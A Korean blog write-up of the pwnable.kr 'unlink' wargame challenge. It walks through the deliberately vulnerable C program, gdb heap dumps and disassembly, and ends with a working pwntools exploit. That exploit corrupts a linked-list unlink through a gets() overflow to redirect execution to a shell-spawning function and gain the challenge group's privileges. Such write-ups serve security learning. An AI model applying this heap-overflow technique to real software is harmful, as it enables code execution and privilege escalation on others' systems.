본문 바로가기

pwnable/pwnable.kr

[pwnable.kr Toddler's Bottle] unlink write up

728x90

 

unlink corruption을 exploit 하라고 되어있습니다!

 

unlink@prowl:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn   49 Nov 23  2016 flag
-rw-r----- 1 root unlink_pwn  543 Nov 28  2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23  2016 unlink
-rw-r--r-- 1 root root        749 Nov 23  2016 unlink.c

 

바로 소스코드부터 봐야 알 것 같습니다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

 

실행시켜야할 shell() 함수가 존재하고, A<->B<->C를 linked list로 연결되어있습니다. A의 buf에 입력을 받고 B를 unlink 시킵니다. 주석처리처럼 heap overflow를 발생시켜야 할 것 같습니다.

 

   0x08048553 <+36>:    push   $0x10
   0x08048555 <+38>:    call   0x80483a0 <malloc@plt>
   0x0804855a <+43>:    add    $0x10,%esp
   0x0804855d <+46>:    mov    %eax,-0x14(%ebp)
   0x08048560 <+49>:    sub    $0xc,%esp
   0x08048563 <+52>:    push   $0x10
   0x08048565 <+54>:    call   0x80483a0 <malloc@plt>
   0x0804856a <+59>:    add    $0x10,%esp
   0x0804856d <+62>:    mov    %eax,-0xc(%ebp)
   0x08048570 <+65>:    sub    $0xc,%esp
   0x08048573 <+68>:    push   $0x10
   0x08048575 <+70>:    call   0x80483a0 <malloc@plt>
   0x0804857a <+75>:    add    $0x10,%esp
   0x0804857d <+78>:    mov    %eax,-0x10(%ebp)

 

A, B, C의 스택에서의 위치를 파악하면 각각 ebp-20, ebp-12, ebp-16임을 볼 수 있습니다. 

B

C

A

순서대로 stack에 쌓여있습니다.

 

(gdb) r
Starting program: /home/unlink/unlink
here is stack address leak: 0xffeacd84

Breakpoint 1, 0x080485b3 in main ()
(gdb) x/x $ebp-20
0xffeacd84:     0x091ad410
(gdb) c
Continuing.
here is heap address leak: 0x91ad410

Breakpoint 2, 0x080485c7 in main ()
(gdb) x/x 0x091ad410
0x91ad410:      0x091ad428
(gdb) x/x $ebp-16
0xffeacd88:     0x091ad440
(gdb) x/x $ebp-12
0xffeacd8c:     0x091ad428
(gdb) x/12wx 0x091ad410
0x91ad410:      0x091ad428      0x00000000      0x00000000      0x00000000
0x91ad420:      0x00000000      0x00000019      0x091ad440      0x091ad410
0x91ad430:      0x00000000      0x00000000      0x00000000      0x00000019
(gdb)
0x91ad440:      0x00000000      0x091ad428      0x00000000      0x00000000
0x91ad450:      0x00000000      0x00000409      0x65726568      0x20736920
0x91ad460:      0x70616568      0x64646120      0x73736572      0x61656c20

 

힙에 할당된 것을 보면 A, B, C 순서대로 [구조체 tagOBJ의 크기인 16바이트] + [8바이트 더미]의 크기만큼 나타나고 있습니다.

// 나중에보니 8바이트는 더미가 아니라 다음 구조체의 헤더였습니다. <참조사이트 확인>

 

(gdb) c
Continuing.
now that you have leaks, get shell!
AAAAAAAA

Breakpoint 3, 0x080485e9 in main ()
(gdb) x/12wx 0x091ad410
0x91ad410:      0x091ad428      0x00000000      0x41414141      0x41414141
0x91ad420:      0x00000000      0x00000019      0x091ad440      0x091ad410
0x91ad430:      0x00000000      0x00000000      0x00000000      0x00000019
(gdb)
0x91ad440:      0x00000000      0x091ad428      0x00000000      0x00000000
0x91ad450:      0x00000000      0x00000409      0x20776f6e      0x74616874
0x91ad460:      0x756f7920      0x76616820      0x656c2065      0x2c736b61

 

보다시피 'AAAAAAAA'를 A의 buf에 입력해 주었더니 0x091ad410부터 A가 (fd) (bk) (AAAA) (AAAA)로 채워져 있는 것을 확인했습니다.

 

(gdb) c
Continuing.

Breakpoint 4, 0x080485f7 in main ()
(gdb) x/12wx 0x091ad410
0x91ad410:      0x091ad440      0x00000000      0x41414141      0x41414141
0x91ad420:      0x00000000      0x00000019      0x091ad440      0x091ad410
0x91ad430:      0x00000000      0x00000000      0x00000000      0x00000019
(gdb)
0x91ad440:      0x00000000      0x091ad410      0x00000000      0x00000000
0x91ad450:      0x00000000      0x00000409      0x20776f6e      0x74616874
0x91ad460:      0x756f7920      0x76616820      0x656c2065      0x2c736b61

 

unlink후의 상황을 보면 B는 free()시키지 않았기 때문에 그대로 남아있으며 A와 C의 fd와 bk값만 바뀌게 되어있는 것을 확인할 수 있었습니다. 그럼 여기서 주어진 8바이트의 배열보다 크게 입력을 넣어보도록 하겠습니다.

 

(gdb) c
Continuing.
now that you have leaks, get shell!
AAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 3, 0x080485e9 in main ()
(gdb) x/x $ebp-20
0xffbef474:     0x091e9410
(gdb) x/x $ebp-16
0xffbef478:     0x091e9440
(gdb) x/x $ebp-12
0xffbef47c:     0x091e9428
(gdb) x/28wx 0x91e9410
0x91e9410:      0x091e9428      0x00000000      0x41414141      0x41414141
0x91e9420:      0x41414141      0x41414141      0x41414141      0x41414141
0x91e9430:      0x00000000      0x00000000      0x00000000      0x00000019
0x91e9440:      0x00000000      0x091e9428      0x00000000      0x00000000
0x91e9450:      0x00000000      0x00000409      0x20776f6e      0x74616874
0x91e9460:      0x756f7920      0x76616820      0x656c2065      0x2c736b61
0x91e9470:      0x74656720      0x65687320      0x0a216c6c      0x000a340a
(gdb)

 

A를 24개 넣어주었습니다. A의 buf에 넣어주었는데 B의 fd와 bk까지 덮어쓴 것을 확인할 수 있었고 unlink()를 호출하니 segment fault가 발생했습니다.

 

원래 unlink(B)를 수행하게 되면 B에서 bk인 A와 fd인 C를 각각 변수 BK, FD에 선언합니다. 그 후 FD의 bk에는 BK, 즉 C의 bk에는 A를 넣고, BK의 fd, 즉 A의 fd에는 C를 넣어줍니다.

 

그런데 여기서 우리는 덮어썼으므로 덮어쓴 B의 fd가 가리키는 주소의 bk를 덮어쓴 B의 bk로 바꿔주며, 덮어쓴 B의 bk가 가리키는 주소의 fd를 덮어쓴 B의 fd로 바꿔주면 됩니다!

(B->fd)->bk = B->bk

(B->bk)->fd = B->fd

 

설명이 조금 복잡한 것 같아서 표를 보며 보겠습니다. 덮어쓰지 않고 기본적인 unlink(B)의 동작을 보겠습니다.

 

  A B C
fd [4] B C  
bk [4]   A B
buf [8]      

 

unlink(B)를 수행하게 되면 다음과 같아집니다.

 

  A B C
fd [4] C C  
bk [4]   A A
buf [8]      
dummy [8]      

 

 

여기서 우리는 A의 주소(EBP-20)와 힙에서의 A의 위치를 얻기 때문에 RET주소도 알 수 있으며 B와 C의 주소도 알 수 있습니다.

그런 상태이기 때문에 RET주소에 shell()의 주소를 넣을 수 있게 된다면 공격은 성공할 것입니다. shell()의 주소를 얻고 RET의 주소를 구해낸다면 heap overflow로 충분히 할 수 있을 것 같습니다.

 

먼저 shell()의 주소를 얻었습니다.

 

(gdb) info function
All defined functions:

Non-debugging symbols:
0x08048348  _init
0x08048380  printf@plt
0x08048390  gets@plt
0x080483a0  malloc@plt
0x080483b0  puts@plt
0x080483c0  system@plt
0x080483d0  __libc_start_main@plt
0x080483f0  _start
0x08048420  __x86.get_pc_thunk.bx
0x08048430  deregister_tm_clones
0x08048460  register_tm_clones
0x080484a0  __do_global_dtors_aux
0x080484c0  frame_dummy
0x080484eb  shell
0x08048504  unlink
0x0804852f  main

 

여기서부터 급격히 머리가 아팠습니다...

일단 unlink()main()의 뒷부분을 보겠습니다.

 

(gdb) disas unlink
Dump of assembler code for function unlink:
   0x08048504 <+0>:     push   %ebp
   0x08048505 <+1>:     mov    %esp,%ebp
   0x08048507 <+3>:     sub    $0x10,%esp
   0x0804850a <+6>:     mov    0x8(%ebp),%eax	// B
   0x0804850d <+9>:     mov    0x4(%eax),%eax	// B의 bk를 eax에
   0x08048510 <+12>:    mov    %eax,-0x4(%ebp)	// B의 bk를 ebp-0x4에
   0x08048513 <+15>:    mov    0x8(%ebp),%eax	// B
   0x08048516 <+18>:    mov    (%eax),%eax	// B의 fd를 eax에
   0x08048518 <+20>:    mov    %eax,-0x8(%ebp)	// B의 fd를 ebp-0x8에
   0x0804851b <+23>:    mov    -0x8(%ebp),%eax	// B의 fd를 eax에
   0x0804851e <+26>:    mov    -0x4(%ebp),%edx	// B의 bk를 edx에
   0x08048521 <+29>:    mov    %edx,0x4(%eax)	// B의 bk를 eax+0x4(원래 B의 bk자리)인 곳에
   0x08048524 <+32>:    mov    -0x4(%ebp),%eax	// B의 bk를 eax에
   0x08048527 <+35>:    mov    -0x8(%ebp),%edx	// B의 fd를 edx에
   0x0804852a <+38>:    mov    %edx,(%eax)	// B의 fd를 eax(원래 B의 fd자리)인 곳에
   0x0804852c <+40>:    nop
   0x0804852d <+41>:    leave
   0x0804852e <+42>:    ret
End of assembler dump.

 

먼저 위에서 설명했지만 어셈블리어를 보며 unlink()의 동작 원리를 살펴보았습니다. 각각의 설명은 주석으로 달아놨습니다.

그런데 mian의 뒷부분을 보면 평상시에 보던 것과 조금 형태가 다릅니다.

 

   0x080485f2 <+195>:   call   0x8048504 <unlink>
   0x080485f7 <+200>:   add    $0x10,%esp
   0x080485fa <+203>:   mov    $0x0,%eax
   0x080485ff <+208>:   mov    -0x4(%ebp),%ecx
   0x08048602 <+211>:   leave
   0x08048603 <+212>:   lea    -0x4(%ecx),%esp
   0x08048606 <+215>:   ret

 

보면 leave와 ret사이에 ecx-0x4인 값을 esp에 넣는다는 것이 있습니다. 이것으로 인해서 RET에는 ecx-0x4인 값이 들어가게 됩니다. 그 위에를 보니 ecx에는 ebp-0x4값이 들어간다는 것을 확인했습니다.

 

이 부분 덕분에 우리는 공격을 위해 ebp-0x4에 shell() 주소를 넣으면 공격이 성공할 것입니다.

 

따라서 buf에 넣을 때 shell()의 주소를 넣고 B의 fd와 bk값을 변경하면 unlink() 시 자동으로 채워질 것입니다.

 

공격을 하기 위해 payload를 작성하기 전에 그려보면 다음 표와 같이 할 것입니다.

 

  A B C ( Main )
fd [4] B buf위치 + 0x4   RET
bk [4]   A스택위치 + 0x10 B SFP
buf [8] shell()주소 + AAAA      
dummy [8] AAAA + AAAA      

 

 

B의 bk에 A스택 위치+0x10을 해주어야 main에서의 ebp-0x4에 B의 fd인 buf위치+0x4를 넣어줄 수 있게 됩니다!

그렇게 main의 ebp-0x4에 들어간 buf위치+0x4'mov    -0x4(%ebp),%ecx'를 만나서 buf위치+0x4ecx에 들어가게 됩니다. 'lea    -0x4(%ecx),%esp'때문에 ecx-0x4(buf) 위치에 있는 shell()의 주소main의 RET을 덮어쓰게 됩니다.ㅐ

(같은 값끼리 같은 색으로 해봤습니다.. 제가 어려워서..)

 

작성한 익스플로잇은 다음과 같습니다.

 

from pwn import *

p = process('/home/unlink/unlink')

p.recvuntil('here is stack address leak: ')
stack_A = int(p.recvuntil('\n'), 16)

p.recvuntil('here is heap address leak: ')
heap_A = int(p.recvuntil('\n'), 16)

payload = p32(0x080484eb)
payload += "A"*12
payload += p32(heap_A + 12)
payload += p32(stack_A + 16)

p.recvuntil('now that you have leaks, get shell!\n')
p.sendline(payload)

p.interactive()
p.close()

 

unlink@prowl:/tmp/suri_unlink$ python /tmp/suri_unlink/ex.py
[+] Starting local process '/home/unlink/unlink': pid 349106
[*] Switching to interactive mode
$
$ id
uid=1094(unlink) gid=1094(unlink) egid=1095(unlink_pwn) groups=1095(unlink_pwn),1094(unlink)

으으.. 너무 복잡해서 머리 아팠습니다..

 

 

<참고>

https://bpsecblog.wordpress.com/2016/08/31/translate_fastbin/

https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

728x90